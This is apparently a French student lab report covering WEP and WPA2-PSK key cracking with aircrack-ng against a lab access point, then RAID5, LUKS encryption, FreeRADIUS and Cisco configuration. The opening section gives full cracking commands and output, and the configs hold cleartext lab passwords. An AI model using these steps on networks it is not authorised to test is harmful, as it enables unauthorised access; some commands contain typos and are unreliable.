===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5, pourquoi?'''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w','''&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w','''&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm.&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     '''Raid Level : raid5'''&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 '''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 '''/dev/md0		/media/raid	ext4		defaults				0		1'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
